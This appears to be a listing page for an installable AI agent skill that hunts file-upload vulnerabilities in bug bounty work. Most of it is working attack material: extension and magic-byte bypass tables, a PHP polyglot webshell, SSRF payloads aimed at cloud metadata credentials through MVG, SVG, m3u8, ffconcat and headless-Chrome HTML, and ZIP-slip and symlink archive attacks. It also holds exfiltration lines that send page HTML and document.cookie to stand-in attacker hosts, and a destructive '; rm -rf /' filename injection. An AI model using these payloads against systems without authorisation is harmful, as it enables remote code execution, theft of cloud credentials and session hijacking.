elementalsouls/hunt-file-upload
Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-file-uploadfilename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
| Attack | How | Prevention |
|---|---|---|
| Extension bypass | shell.php.jpg, shell.pHp, shell.php5 | Allowlist + extract final extension |
| Null byte | shell.php%00.jpg | Sanitize null bytes |
| Double extension | shell.jpg.php | Only allow single extension |
| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |
| Magic bytes prefix | Prepend GIF89a; to PHP code | Parse whole file, not just header |
| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |
| SVG JavaScript | <svg onload="..."> | Sanitize SVG or disallow entirely |
| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |
| ZIP slip | ../../../etc/passwd in archive | Validate extracted paths |
| Filename injection | ; rm -rf / in filename | Sanitize + use UUID names |
| Type | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
| PDF | 25 50 44 46 |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.Take elementalsouls/hunt-file-upload from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.
The instructions reference pip.
Without those the skill loads but fails at the first command.